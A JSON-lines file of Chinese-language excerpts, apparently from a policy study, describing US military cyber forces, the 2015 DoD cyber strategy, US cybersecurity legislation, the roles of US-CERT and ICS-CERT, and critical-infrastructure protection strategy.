    {"text": "信息战任务则由诺福克海军信息战司令部（NIOC）（CTF1030）负责，下辖圣地亚哥和韦德贝岛的两个分队； 舰队和战场作战及密码业务则由佐治亚 NIOC（CTF1050）、马里兰 NIOC（CTF1060）和科罗拉多 NIOC （CTF1080）及其全球分布的下属司令部分属司令部分别负责协调；"},
    {"text": "4.陆军明确网络战职能机构及分工 2001 年，美陆军司令部开始筹划建立计算机网络战办公室，建立了计算机应急响应分队。 2010年10月1日，陆军正式成立了陆军部队网络司令部，作为独立指挥机构统一领导陆军网络空间领域内的所有任务。 该司令部的主要职责是配合网络司令部组织、训练和装备网络部队，确定陆军任务需求和部队能力； 在得到网络司令部的指令时，其还将为组建联合特遣部队提供支持； 此外，该司令部还负责 DoD 信息网络陆军部分的态势感知，支持网络空间作战，以使网络司令部司令能使用统一的联合网络空间作战视图，实施高效作战指挥控制。 其主要下属机构包括陆军网络企业技术司令部（NETCOM）、情报与安全司令部（INSCOM）和拟建的陆军网络作战和集成中心（ACOIC）。 陆军部队网络司令部成立后，所属编制力量由NETCOM/9thSC（A）目前下属人员、第1信息战司令部和USASMDC/ARSTRAT的一部分，以及INSCOM下属网络作战人员构成，总人数达21000人。"},
    {"text": "要求综合利用人员、技术和操作能力，在技术层面上建立从网络基础设施、飞地边界到计算环境的多维、多层防御，并加强密钥管理暨公钥基础设施、检测与响应基础设施的建设。"},
    {"text": "美军开发的最具代表性的网络攻击装备是“舒特”系统。 美军的“舒特”系统是网电一体作战的典型手段，已从“舒特 1”发展到“舒特5”，作战效能不断提升。 “舒特”系统以电子干扰电磁波、敌方防空雷达探测电磁波等为载体实施入侵攻击，取得系统控制权限后，通过修改作战参数，或者利用“木马”病毒瘫痪敌方防空雷达系统，达到突袭目的。"},
    {"text": "此前，有媒体援引斯诺登文件称，美国国家安全局正在进行一项名为Politerealin的计划，该计划由国家安全局“获取特定情报行动办公室（TAO）”执行，主要内容是入侵特定的计算机并进行破坏性活动。 Politerealin计划的目的是使计算机网络系统瘫痪以便于进行远程控制，覆盖面包括能源供给、水利系统、工厂、机场和金融系统。"},
    {"text": "3.研发网络侦察装备 在网络战实施过程中，利用或摧毁敌方网络的行动必须以探测、跟踪和定位敌方雷达、微波站、蜂窝电话、卫星地面站和其他通信链接等设施为前提。 美军认为，只有对战场信息流进行有效控制（如侦听移动电话和截获电子邮件），才能掌握未来网络对抗的主动权。"},
    {"text": "目前，美军在无线监听、搭线监听、口令破解、网络分析等技术上已取得较大进展，具备获取敌方通信、内容、网络协议、硬件地址、口令、身份鉴别过程、网络漏洞等信息的能力。"},
    {"text": "目前，美军最具代表性的网络侦察装备包括“高级侦察员”网络侦察系统、“分析、传播、直观化、深入理解和语言强化（ADVISE）”系统和“网络中心协同定位（NCCT）”系统等。"},
    {"text": "（三）资金投入方面 在美国国防预算持续削减的背景下，美国国防部仍加大在网络部队和网络武器方面的投资表明了美军对网络空间军事化的重视。"},
    {"text": "美国国防部用于网络安全技术研发与人员培训的年均投入达30亿美元。 截至目前，美军已先后投入了数百亿美元用于研制开发各种网络防御系统和技术装备。 2011年，美国国防部曾决定在未来5 年内拨款5 亿美元给国防部高级研究项目局，以加快网络武器及防御性网络技术的研发。"},
    {"text": "鉴于此前美国国防部已经开发过大量用于网络战的设备和病毒软件，未来的网络武器将更注重性能的提升，某些新式网络武器甚至可以帮助美军在敌军军事系统未接入互联网的情况下对该系统实施攻击。"},
    {"text": "美军网络司令部一开始编制只有900人，但2013年有报道称将扩编至4900人。 2014年3月28日，美国国防部部长哈格尔宣布到2016年将网络司令部在编人数扩至6000人。 而美军网络司令部司令罗杰斯在2014年9月的比林顿网络安全会议上透露，网络部队人数将在2016年前增至6200人。 2015年4月发布的新战略将美国网络军队司令部的直属队伍进行了调整，由原计划的140个改为133个，区分上也有了变化，多了13个“国家任务力量”队伍和27个先前未曾提及的“战斗任务力量”队伍。 美国网军由3个分支组成，除保护美国国内电网、核电站等重要基础设施的网络部队外，还有协助海外部队策划并执行网络袭击的“进攻性”部队，以及保护国防部内部网络的“防卫性”部队。"},
    {"text": "1.人员招募 为了充实网络战后备军并保持网络人才优势，美国国防部每年都从全美各大院校招募大量计算机、数学、语言学等专业的优秀毕业生。"},
    {"text": "此外，国防部通过与总统执行办公室合作，设立动态的规划来吸引人才，具体措施包括：简化录用程序、人才“无害流动”、开发预备役和国民警卫队的网络能力、继续教育等。"},
    {"text": "2.人员资质要求 美国防部规定，处理国防部信息业务的人员，必须具有上岗资格证书； 应聘到国防部门从事信息安全工作的人员，要具备相应的专业证书。"},
    {"text": "再版DoD第8570号指令规定，所有军方、联邦政府、外事单位聘用的全职和兼职文职人员都必须依照工作内容通过安全资格认证计划（SCP）的SCNS、SCNP及SCNA三类安全资格认证考试，相关人员在2010年必须通过该认证。"},
    {"text": "3.人员培训 依托院校和卓越训练中心等机构，美军为网络战部队开设了大量网络基础课程。 既有针对某一军种或某一业务特定需求的专门课程，如“陆军计算机网络作战规划者基础课程”、“联合网络分析课程”和“联合网络进攻课程”等，也有满足联合网络空间训练需求的通用课程，如国家安全局设计的“跨学科网络课程”等。 同时鉴于各自对网络空间训练的不同需求，自开始大规模组建网络部队以来，各军种都相继展开全面评估，以确定不同的基本训练需求。"},
    {"text": "2012 年 5 月，国家安全局宣布四所大学获准参加“国家优秀学术中心”项目，分别是达科他州立大学、海军研究生院、东北大学和塔尔萨大学。 2013 年 9 月，国家安全局宣布又有四所大学参与这项计划，它们是空军技术研究院、奥本大学、卡内基·梅隆大学和密西西比州立大学。"},
    {"text": "5.举行实战演习 近年来，作为检验网络作战部队训练效果、提升作战能力、试验网络武器效能、验证作战理论的重要举措，美军定期举行网络战实战演习。 美军内部组织或参与政府组织的专门网络战演习包括“联合远征部队实验”、“数字珍珠港”、“黑色恶魔”、“寂静地平线”和“网络风暴”系列演习等，有众多国家和机构参与，规模庞大、投入高、针对性强。"},
    {"text": "如在每年的“焦点透镜”和“阿尔索伊/鸽鹰”联合演习中均设有网络攻防科目，根据联合作战整体意图和战略战役目的，演练网络战在信息化条件下一体化、联合协同作战行动。 此外，美国和韩国于 2010 年 7月25日至29日在日本海举行的“不屈意志”联合军演中，网络防御作战就是重要演练内容之一。 6.建设模拟训练设施 美军还非常重视网络对抗训练模拟系统的建设，将其作为网络对抗技术学习、研究和训练的重要平台。"},
    {"text": "此外，DARPA 建设中的“国家网络靶场”，除主要作为网络攻防手段测试设施外，也能为网络攻防作战提供虚拟环境，还是提高训练水平的重要基础设施。"},
    {"text": "美国国防部2015年新版网络战略述评 美国国防部于2015年4月23日发布了《美国国防部网络战略2015》，这是对2011年7月发布的国防部《网络空间行动战略》的升级，为国防部未来五年的网络活动和任务设定了优先实现的战略目标。"},
    {"text": "美国国防部发布的网络战略情况说明显示，促使国防部制定新战略的重要原因是美国政府和企业遭受网络攻击的紧迫性和复杂性不断增加。 新战略强调恶意软件泛滥以及“危险和不可控”的网络漏洞的风险，而 2011 年版战略则认为国防部可以阻击绝大部分的网络漏洞和恶意行为。 值得注意的是，新战略称中国、俄罗斯和伊朗的黑客是攻击美国网络的主力，这是奥巴马政府在4个月内第4次点名涉嫌黑客攻击的国家。"},
    {"text": "2011 年版战略提出加强公私合作、与国土安全部之间的合作，新战略则直接将“保障本土和核心利益不受破坏性网络攻击”等写入国防部的任务，民营机构运营的网络基础设施也被纳入国防部保护。"},
    {"text": "新战略称，“总统或国防部长可决定让美军开展网络行动，以扰乱对手与军事相关的网络或基础设施，让美军能够在开展行动的区域保护美国利益”，“国防部应能用网络操作来扰乱敌人并控制网络，破坏与军事有关的重要基础设施和武器功能”。"},
    {"text": "在新战略发布的同时，近期美参众两院还分别通过了《网络安全法案》、《网络空间安全信息共享法》、奥巴马总统网络攻击制裁令以及《网络安全保护法案》。"},
    {"text": "（五）首次将中、俄等国明确为潜在威胁 新战略明确提出了网络空间的潜在敌人：俄罗斯、中国、伊朗、朝鲜及“伊斯兰国”等。 虽然美国一直有个假想敌名单，但 2011 年版战略中只笼统地提到网络空间的对手，没有直接点名，新战略却将中国、俄罗斯、伊朗和朝鲜等国家作为对手提出来。 有分析指出，从新战略可以看到这种可能性：如果将来中国在南海、钓鱼岛有所行动的话，美国可对中国的关键设施实施网络攻击。 二、新战略中几点值得注意的趋势 （一）整合多种网络力量，加快技术研发和创新 美国防部称，将集成网络能力，支持军事行动和应急预案。"},
    {"text": "（二）推动军民融合和线上线下能力的整合 新战略突破了传统的网络战略“军民两分”的规则，提出了“加强政府部门以及公私机构的网络安全信息共享”、“与教育机构、民营部门和企业合作”。"},
    {"text": "新战略突破了常见安全战略手段中“线上线下两分”的规则，要求美国网军司令部、参谋长联席会议及国防部部长办公室协调运作。 新战略中频繁出现“全频谱”、“结合威慑”以及“积极防御”等概念，可见美国已逐渐将网络攻击与常规军事力量相结合。 新战略还突破了传统战略聚焦系统、基础设施、软硬件的特点，将数据升到了系统安全的高度，提出了“保卫国防部网络和数据”、“各机构必须仔细确定需要优先保护的系统和数据”、“帮助盟友建立保卫网络和数据的能力”等。 （三）强调新网络攻击层级体系的构建 新战略首次明确表示，美军在与敌人发生冲突时可考虑实施网络战。 与此同时，作为新战略的核心内容，还进一步明确了网络攻击的层级体系：公司和民营机构负责抵御常规攻击，美国国土安全部负责检测更复杂的攻击，并帮助民营部门实施防御。"},
    {"text": "美国防部官员表示，美国网络系统遭受的攻击中，约 2%可能上升到国家级响应，即由五角大楼牵头，通过马里兰州的国家安全局的网络司令部回应。"},
    {"text": "（四）重视国家网络能力的建设 新战略重视依靠国际联盟和伙伴关系阻击网络攻击，提出加强与网络攻击相关的情报收集能力，特别提到了在中东、亚太地区和北约共同开展相关工作。"},
    {"text": "对此，有美国媒体认为，国防部应该对网络空间中的军事理论、政策、角色和任务有更为清晰的阐述，以便更好地让公众知晓，并进行相关的宣传和讨论。"},
    {"text": "三、可能带来的影响分析 （一）引发网络军事化及网络军备竞赛 新战略是美国新国家安全战略的具体落实，预计美国还将推出相关政策和立法，以获得单边的网络安全并保持网络空间的领导地位。 新战略在网络空间非军事化上是重大退步，美国放弃网络空间非军事化的立场，将令国际社会维持网络和平的期待受挫。"},
    {"text": "（二）中美网络安全领域“对话和对抗交织”将成常态化 新战略首次提出，美国对于中、俄等国针对美国“持续不断的网络间谍活动”给予关注，将促进了解以减少误解和错判的风险。"},
    {"text": "但是联系近期中美两国相互限制采购对方的信息技术系统、中国出台《国家安全法》规范网络安全审查等事件，《纽约时报》评论称中美已进入“网络冷战”。"},
    {"text": "（三）网络冲突可能成为现实战争的导火索 从2011年的《网络空间行动战略》到2013年的《塔林手册》，再到新网络安全战略，美国将现实武装打击作为应对网络攻击的手段。"},
    {"text": "四、对我国的启示 （一）加快制定网络安全战略，做好网络基础设施防护工作 我国应形成清晰的网络空间战略框架，完善国家网络战略布局和顶层设计。"},
    {"text": "应尽快出台网络安全战略，在继续确保互联网内容和意识形态安全的同时，要对网络基础设施等的安全问题给予高度重视，确保以基础设施安全为核心的综合性网络安全。"},
    {"text": "应加强核心硬件、基础软件和关键技术的研究，加强军民融合和行业联盟，合力攻坚，提高关键技术的自主可控水平。 以开放、合作的心态吸收先进理念和技术，充分利用企业的技术、人才和市场优势，采取政策引导积极拓展企业参与网络国防建设的渠道。"},
    {"text": "（三）围绕网络安全构建系统的法律制度 美国国会、联邦政府和最高法院通过发布立法、行政命令及判例的方式，构筑起网络安全治理的完整法律体系。"},
    {"text": "在信息网络化进程中，国家安全与经济、政治的安全日益不可分割，而经济、政治安全越来越依赖于关键性信息网络基础设施的安全。 网络安全是一个事关国家公共安全的全球性重大战略问题，已成为世界各国政府的共识。 美国作为全球网络技术的发源地，掌握着网络空间的核心技术，在网络安全领域的立法也起步最早，数量最多，覆盖面最广，内容最复杂。"},
    {"text": "一、美国网络安全框架性法律 据美国国会研究部统计，从1984年至2009年，美国通过成法、含有网络安全相关条文的法律有36部。 其中一些框架性法律对网络安全的关键问题作出了重要规定，是美国网络安全法律体系的基础，见表1.2。 表1.2 美国主要的网络安全法律及内容 从内容上看，以上框架性法律从保护网络基础设施、网络泄密与数据保密、打击恐怖主义和网络色情活动等多个方面确立了互联网行为的基本原则，初步建立起多维度的法律保障体系。 进入21 世纪，为应对互联网的飞速发展和国际形势的风云变幻，美国已开始着手网络空间的顶层设计，2011年相继发布了《网络空间国际战略》和《网络空间行动战略》，并把网络空间作为与“陆、海、空、太空”并列的美军“行动领域”，网络战略突出“主动防御”，“保留”以军事打击回应网络攻击的权利。"},
    {"text": "二、第112届国会以来的立法进程及关注焦点 （一）近年来网络安全立法进程艰难 自2002年以来，除了一些对已有法律的修正案，并没有通过任何重要的网络安全立法。 尤其是第112届国会以来（2011年后），虽然众议院、参议院和白宫都提出了数量庞大的网络安全议案，涉及网络安全的诸多方面，既有综合性的网络安全法案，也有就网络安全的某个具体问题而提出的法案，但是由于多方利益、意见分歧，这些法案在一次又一次的修订后，仍很难获得通过，成为正式法律文件。 美国第112届国会和第113届国会关于网络安全的主要立法建议如下。 1.《2012年网络安全法案》（Cybersecurity Act of 2012） 2011 年以来，参议院一直试图将第 111 届国会期间国土安全和政府事务委员会提出的S.3480号法案和商务、科学和运输委员会提出的S.773号法案合并成一部综合性的网络安全法律。 2012年2月，参议院提出吸收了上述两个法案主要内容的《2012年网络安全法案》（S.2105），随后又提出了该法案的修正版本（S.3414）和替代版本（S.3342）。"},
    {"text": "《2012年网络安全法案》的主要内容有：一是加强对关键基础设施网络信息安全威胁的研判，成立专门机构，加强对关键基础设施网络的风险评估，完善风险信息的互动机制；"},
    {"text": "二是重视公私合作应对网络安全风险，发挥关键基础设施运营部门积极性，听取其关于开展安全实践行动的建议； 三是鼓励民营部门自主开展网络安全行动，政府协助创造良好的环境，确保参与者的相关利益； 四是促进信息共享，建立公私间共享网络安全相关信息的框架，同时重申保护隐私和自由权利的原则； 五是提升政府网络安全水平。"},
    {"text": "2.《2012年确保IT安全法案》（SECRUE IT Act [1] ） 2012年3月参议院以S.2151号法案首次提出《2012年确保IT安全法案》，后提出修正版本S.3342号法案。"},
    {"text": "《2012 年确保 IT 安全法案》主要内容有：一是授权民营企业采取对策，使用网络安全系统来获取、识别或掌握其网络上的威胁信息，具备此类授权的企业也可以获取、识别或掌握其他企业的网络威胁信息；"},
    {"text": "二是允许民营企业，非联邦政府机构，或州、部落及地方政府向指定网络安全中心或彼此之间主动披露网络威胁信息，以协助阻止、调查或减少安全威胁。"},
    {"text": "● 《2011年网络安全强化法案》（H.R.2096），对美国联邦网络安全研发作出规定，并完善了技术标准，作为H.R.756议案在第113 届国会被再次提出。"},
    {"text": "● 《2012年推进美国网络信息和技术研究及发展法案》（H.R.3834），主要对网络与信息技术研发作出规定，包括但不限于安全领域。 ● 《2012年联邦信息安全修改法案》（H.R.4257），主要关于《联邦信息安全管理法》的修改方案。"},
    {"text": "2013年参议院和众议院提出但未成法的网络安全法案见表1.3。 表1.3 2013年参议院和众议院提出但未成法的网络安全法案 （二）六大网络安全立法焦点 虽然立法建议进展艰难，但近几届美国国会仍不断修正立法提案，努力推进网络安全立法，立法方向主要是保护关键性基础设施以及促进政府与产业界之间的信息共享。 归纳以上未能通过的法案内容可以看出，美国近年来的网络安全立法旨在推动解决以下六个方面的重点问题。"},
    {"text": "1.保护私有关键性基础设施 2012年7月，美国国家安全局局长基思·亚历山大在一个安全论坛上称，“自2009年以来，针对基础设施的网络攻击数量增长了1700%。"},
    {"text": "”美国联邦政府确定了16个领域的关键性基础设施，即核心制造业、核工业、化工业、国防基础工业、能源业、运输业、金融服务业、信息技术、通信设施、政府设施、商务设施、医疗和公共健康、急救、食品和农业、水资源和废水处理、水坝。"},
    {"text": "这些领域的网络安全对国家安全至关重要，而绝大多数关键基础设施为私有，美国政府不可能强行将其纳入监测防御系统，只能谋求其他解决方案。"},
    {"text": "3.培养网络安全专业人才队伍 建议措施包括增大联邦政府网络安全专业人员规模，加强对“下一代”网络安全专业人员的培训，实现联邦与民营部门专业人员交流，建立网络安全人才管理体系等。"},
    {"text": "4.修订《2002年联邦信息安全管理法》 该法自通过之日起就因存在诸多漏洞而饱受批评，包括：法律规定的网络安全标准未被广泛认可，对联邦机构相关授权的解释含混不清，过于强调个人信息系统而忽视了整个联邦信息系统，过于强调程序性的报告制度，可操作性不强，对加强联邦机构间协作缺乏明确的规定等。 5.注重网络安全技术的研究与开发 《2002年国土安全法》没有提及网络安全研发问题，但实际上国土安全部、国家安全局及其他一些联邦机构在网络安全研发方面投入了大量资金。"},
    {"text": "因此，联邦政府急需相关法律以进一步明确涉及网络威胁和侵入的侦测设备、身份管理、各种测试设备以及电子设备全球供应链安全的研发究竟由哪个部门负责。"},
    {"text": "三、网络安全立法面临的争议和阻力 美国联邦政府在解决网络安全问题方面面临诸多挑战，因为一方面涉及保护联邦政府信息系统的安全，另一方面也涉及在保护非联邦政府信息系统方面联邦政府如何发挥适当的作用。"},
    {"text": "目前美国各界对于国会立法的政府过度干预、增加运营成本、隐私信息泄露等问题争议不断，利益难以达成一致，这是近年来立法提案频频失败的主要原因。"},
    {"text": "美国商业团体认为，网络安全法案的诸多安全要求同企业的核心业务和操作密切相关，尽管法案明确表示企业的网络安全实践基于自愿原则，但这对企业而言仍然是一项非常烦琐且花费巨大的工程。"},
    {"text": "共和党批评者认为，法案的网络安全实践，无论是强制性还是自愿性的，都将使私人企业陷入资金链紧张的境地，政府没有必要在这一问题上进行干预。"},
    {"text": "如果说针对电力网络、供水系统等关键基础设施的网络安全与国家安全息息相关，那么情报部门针对Facebook和Twitter等应用用户的监控则显得没有必要，还严重侵犯了公民隐私权。"},
    {"text": "例如，《2012年网络安全法案》赋予民营企业监视用户的权力、与政府机关共享信息的权力以及针对上述行为的法律豁免权，就引起了巨大争议。 众议院2012 年通过的《网络情报共享和保护法案》也致力于促进政府和企业之间的信息共享，但是该法案受到了工业界、隐私保护团体的阻碍。"},
    {"text": "反对者认为，网络安全法案的推动者应该具有更广泛的视角，应开展与商业团体、网络安全研究人员和网络犯罪法律专家等各界人士的对话，而不是只听取既得利益团体的建议。"},
    {"text": "美国商业团体认为，目前由国际标准化组织（ISO）等制定的网络安全标准和较成熟的网络安全解决方案众多，民营企业完全有能力做好网络安全防护工作，而政府监管只会造成阻碍。 目前ISO已制定了189项信息安全相关标准，美国国家标准与技术研究所（NIST）也已经制定出一整套世界级的信息安全指导资料和标准，民营企业倾向于依靠自身力量实现网络安全目标。"},
    {"text": "《2002年国土安全法》授予国土安全部部分网络安全职能，美国国土安全信息网络允许各州、主要都市地区在联邦、州和地方机构之间收集和分发信息，共同打击恐怖主义。"},
    {"text": "四、美国网络安全立法进程对我国的借鉴意义 虽然近年来美国网络安全立法面临重重困难和各方争议，但国会立法进程不断加速，立法提案更有针对性，覆盖领域更加广泛，推进力度也日益加强，足见网络安全作为国家安全重要组成部分的战略地位。"},
    {"text": "其三，坚持国家网络空间安全与公民个人信息的同等保护原则，实现个人信息权益正当保护与国家网络空间安全有效守卫的平衡； 其四，加强网络空间安全立法的国际合作，本着相互尊重和相互信任的原则，共同构建和平、安全、开放、合作的网络空间，建立多边、民主、透明的国际互联网治理体系。"},
    {"text": "美国CERT组织架构、定位和作用浅析 1988 年，美国国防部高级研究计划署资助卡内基·梅隆大学（CMU）建立了第一个计算机应急响应组及协调中心（CERT/CC）。 随后，美国国土安全部（DHS）又分别建立了美国国家计算机应急响应小组（US-CERT）和工业控制系统网络应急响应小组（ICS-CERT），美国军方以及其他民营部门也纷纷建立了CERT组织，满足自身对网络安全的需求。 这里以US-CERT和ICS-CERT为主要对象，浅析美国CERT组织的架构、定位和发挥的主要作用。 一、美国CERT组织介绍及其架构 （一） US-CERT 美国国家计算机应急响应小组（United States Computer Emergency Readiness Team，US-CERT）于2003年成立，隶属于美国国土安全部。 US-CERT的宗旨是通过快速响应重大突发事件、分析威胁、与全球可靠的合作伙伴共享关键网络安全信息，为全美提供一个更安全和强大的互联网环境。 US-CERT 致力于提升美国网络安全态势感知能力，协调网络信息共享，自发管理网络风险以保护美国公民权益。 US-CERT保证“7×24小时”不间断工作，接受、分诊并协调计算机紧急事件，为信息系统人员提供技术援助，并及时公布当前或潜在的安全威胁与漏洞信息。 US-CERT 官网提供在线入口，可供漏洞发现者对紧急事件或软件漏洞以专用格式及时向US-CERT进行报告。 此外，US-CERT 与关键基础设施所有者和运营商、学者、联邦机构、信息共享和分析中心（ISAC）、地方与各州的合作伙伴以及国内外相关机构共同提升网络安全态势感知能力。"},
    {"text": "面向控制系统的服务是为联邦、各州、地方中所有基础设施与关键资源部门解决工业控制系统安全问题，即控制系统安全项目（Control System Security Program，CSSP）。"},
    {"text": "面向政府的服务主要是为各级政府部门提供关于网络安全的信息共享、安全协作与响应服务，其中比较重要的有“爱因斯坦计划”、“US-CERT移动计划”，“国家漏洞信息数据库（NVD）”等。"},
    {"text": "根据顾客的要求，ICS-CERT 可安排一个现场支持小组检查受影响机构的网络拓扑结构，识别受感染的系统，进行图像分析以及收集后续研究中所需的数据。"},
    {"text": "该实验室还有供应商设备的典型样本，可以在控制系统环境下对恶意软件进行功能测试和分析，并评估恶意软件的影响和关键基础设施漏洞导致的后果。"},
    {"text": "ICS-CERT不仅同US-CERT、国际组织和民营部门均有广泛的合作，还基于 CSSP 项目成立了工业控制联合工作小组（Industrial Control Systems Joint Working Group，ICSJWG），并同联邦控制系统安全工作组（Federal Control Systems Security Working Group）合作，共同促进信息共享和对关键基础设施与资源的保护。"},
    {"text": "（三） US-CERT 和 ICS-CERT 的架构 1.US-CERT和ICS-CERT外部机构设置 US-CERT与ICS-CERT均隶属于美国国土安全部（DHS），是美国国家网络安全和通信整合中心（NCCIC）的分支机构。"},
    {"text": "NCCIC于2009年11月成立，由国土安全部网络安全与通信办公室（CS&C）主管，负责整合国土安全部下属的多个国家网络安全中心和应急响应小组，成为协调指挥美国网络安全各项行动的“中枢”。"},
    {"text": "同时作为实施《国家网络应急响应计划》的主要负责部门，该中心是一个全天候的综合性网络安全和通信行动中心，是发生重大网络安全事件时协调相关行动的国家联络点和执行中心。"},
    {"text": "图1.3 US-CERT内部机构设置 二、美国CERT组织定位及其发挥的作用 （一）信息汇集中心——保持网络态势感知 2010年9月，DHS代表联邦政府制定并发布了《国家网络应急响应计划》（以下简称《计划》），该计划是非战争状态下由DHS主导的对国家级网络安全事件的应急响应。"},
    {"text": "《计划》中明确提出，“为保持网络突发事件响应的及时和畅通，根据联邦规定，所有参与突发处理的部门和机构的信息必须通过US-CERT传送至NCCIC，以便保持网络态势感知。"},
    {"text": "在DHS 2011年11月发布的网络安全战略——《未来网络蓝图：美国国土安全部网络安全战略》中，提出了两大关键行动：保护关键基础设施信息和建立更为强健的网络生态系统。"},
    {"text": "同时，为实现保护关键基础设施信息提出了四大目标：减少网络风险暴露的可能性、确保优先响应和修复、持续分享网络态势感知、增加系统弹性。"},
    {"text": "在“持续分享网络态势感知”目标中，提出应充分发挥US-CERT发布网络安全警报和公告的职能，与美国国防部（DOD）、美国联邦调查局（FBI）、美国国家标准与技术研究所（NIST）等机构建立多元化合作，及时分享精确、可操作性强的网络警报信息。 US-CERT还建立了国家网络感知系统（National Cyber Awareness System，NCAS），这是全球首个结合了识别、分析突发漏洞与威胁的全国性网络安全系统，为公众提供免费、实时、可操作的计算机安全更新与警告信息。"},
    {"text": "（二）推动网络安全能力建设，提升公众意识 2011年5月，奥巴马政府签署了《美国网络空间国际战略》（以下简称《战略》），该战略从建立网络安全政策、描绘网络空间未来、阐述重点政策和展望未来四个角度规划了美国网络空间发展。 《战略》第二部分——“描绘网络空间未来”中提出了“构建繁荣和安全网络空间”的发展主题，表示美国将通过建立国外、双边和多边机构组织提升网络安全能力，从而使各个国家可保护本国的关键基础设施、加强全球性网络建设并为达成开放、彼此协作、安全可靠的网络共识而构建更亲密的伙伴关系。"},
    {"text": "为提升网络安全能力，《战略》中指出：须借用CERT组织等机构在内的各个部门力量，用于扩大和调整专注于网络安全能力建设的计划，提升公众意识，开展法律和技术培训以及获得政策发展的支持。"},
    {"text": "（三）协同制定有效计划，打造全新网络部队 《美国国防部网络安全战略2015》中，国防部提出构建一个全新的网络任务部队（Cyber Mission Force，CMF），提出将整合CMF成为一个更大的多任务美国军方力量，以达到跨域协同作用，确保CMF响应能力，并重构其军方和民用力量及基础设施，以便更好地执行DOD的任务。"},
    {"text": "（四）构建面向全球的监控网络 US-CERT 自 2003 年开始实施“爱因斯坦Ⅰ计划”，该系统能够自动收集、分析和共享美国政府部门之间的计算机安全信息，从而使各联邦机构能够实时感知其网络基础设施面临的威胁，以便更迅速地采取恰当的措施。 “爱因斯坦Ⅱ计划”于2007年实施，该系统在原来对异常行为分析的基础上，增加了对恶意行为的分析能力，以使 US-CERT 获得更好的网络态势感知能力。"},
    {"text": "至2010年，“爱因斯坦”系统已被部署到19个美国主要政府机构中的15个，其中包括美国国土安全部、司法部、交通部、国务院、财政部和教育部、美国联邦贸易委员会、美国证券交易委员会等部门。 “爱因斯坦Ⅲ”系统不仅被部署在整个联邦政府网络中，而且被部署到公共互连网络中，其主要创新在于强调面向网络的实时态势分析、威胁感知、主动防御。 美国政府期望通过“爱因斯坦”计划的实施，首先能够保护美国国内重要的网络信息资产，同时还能感知监控他国互联网应用，使其成为主动防御甚至反制工具，最终成为美国国家安全战略体系中的重要组成部分。"},
    {"text": "（五）保护关键基础设施 ICS-CERT 是美国针对工业系统关键基础设施的网络攻击所成立的专门性应急响应机构，为控制系统环境应对各种网络威胁提供具有可操作性和有针对性的防御。 ICS-CERT对与工业系统相关的突发事件、漏洞、恶意软件等进行回应和分析，也提供面向基础设施的安全服务。"},
    {"text": "（六）成为网络安全交流平台 US-CERT 是普通公民、企业和其他国际、国内组织机构直接与美国政府就网络安全进行交流和协调的重要平台，具有推进政府与企业参与国家信息安全应急管理的职能，在国家信息安全协同治理中发挥重要作用。"},
    {"text": "第二章 美国网络安全战略概要 《关键基础设施和重要资产实体保护国家战略》摘要 《关键基础设施和重要资产实体保护国家战略》（以下简称《战略》）是《国土安全战略》与国土安全部拟制定的“国家保护计划”之间的重要桥梁。 《战略》明确指出了美国在保护关键基础设施及重要资产方面所要实现的战略目标，并提出了为实现这些目标有关各方所应遵循的基本指导原则。"},
    {"text": "一、战略目标 （1）对关键基础设施及重要资产进行界定，即从是否会影响到整个国家的公共卫生、安全及管理，以及是否会影响到国民经济、国家安全和公众信心的角度出发，确定哪些基础设施和资产属关键基础设施和重要资产。"},
    {"text": "（3）采取具体措施，建立一个全国性的、由各级政府（联邦、州、地方）和民营企业共同参与的协作体系，以确保其他可能成为犯罪分子未来攻击目标的基础设施和资产得到有效的保护。 通过协作，各级政府和民营企业能够更好地保护各自所管辖或拥有的基础设施和资产。 二、国土安全和基础设施保护：共同的责任 为保护关键基础设施和重要资产，需要建立一种全新的国家协作模式。"},
    {"text": "但“国土安全”却是各方共同的责任，仅靠联邦政府是无法完成这一使命的，特别是在关键基础设施和重要资产保护方面。 各级政府（联邦、州及地方）、民营企业和有关的个人必须步调一致、共同努力，才能完成保护“国土安全”的重要使命。"},
    {"text": "（一）关键基础设施的构成及其重要性 关键基础设施关系到国家的安全、管理、经济运转、人民生活方式乃至美国的形象和民族自豪感。 这些关键基础设施是由众多高级且复杂的设施、系统和功能组成的，既包含了人力资产（human assets），也包含了物理及计算机网络系统，还包含了一些基础设施的正常运转所必不可少的重要节点。 关键基础设施行业包括：农业和食品、水利、公共卫生、紧急救援服务、国防工业、电信、能源、交通、银行和金融、化工及危险材料、邮政和船运。"},
    {"text": "除核电站和大坝之外，重要资产还包括那些象征美国传统价值观、制度或美国政治、经济实力的标志性建筑或设施，如政府设施、国家纪念碑和历史名胜等。"},
    {"text": "三、国家政策和指导原则 《战略》重申了美国长期坚持的保护关键基础设施及重要资产的国策，并提出了8项旨在支撑国内保护战略的指导原则。"},
    {"text": "四、组织框架及协作体系 实施《关键基础设施和重要资产实体保护国家战略》，不仅需要一个统一的组织框架、一个明确的目标和一套清晰的协作程序，而且组织内的每一位成员必须了解自己所扮演的角色、所承担的责任和义务。"},
    {"text": "根据《国土安全国家战略》所确立的组织框架，国土安全部作为主管关键基础设施和重要资产保护工作的联邦机构，对各级政府和民营企业在此方面的工作进行跨行业的总体协调。"},
    {"text": "《国家网络安全战略》概要 一、概述 美国国家关键基础设施由公私机构组成，分布在以下部门：农业、食品、供水、公共卫生、应急服务、政府、国防工业基地、信息与通信、能源、交通、银行与金融、化学与危险品、邮政与运输等。"},
    {"text": "因此，网络的正常运作对经济及国家安全至关重要。 《国家网络安全战略》是保护国家安全工作的一部分。 它是《国家国土安全战略》的组成部分，并由《关键基础设施和重要资产实体保护国家战略》所补充。 《国家网络安全战略》的目的是使美国人能够保护自身拥有、操作、控制或者对其有影响的网络。 网络安全是一项艰巨的战略挑战，它要求整个社会，包括联邦政府、州与地方政府、民营行业以及美国人民的共同协作与努力。 《国家网络安全战略》概括出了网络安全在组织与程序上的初始构架。 它为联邦政府部门及机构在网络安全中发挥作用指明了方向，同时，还确定了州及地方政府、民营企业与组织、美国公民个人对整个网络安全进行改进的步骤。 战略计划强调了公民营机构共同参与的作用，为所有人保护自身的网络安全提供了框架。"},
    {"text": "网络攻击的快速与匿名性使其区别于恐怖行为及犯罪行为，因此要借助《国家网络安全战略》减少国家的网络安全漏洞，并削弱针对关键信息基础设施或者支持这些设施的重要资产所发起的攻击。 二、战略目标 与《国家国土安全战略》相一致，《国家网络安全战略》的战略目标是： （1）阻止针对美国关键基础设施实施的网络攻击；"},
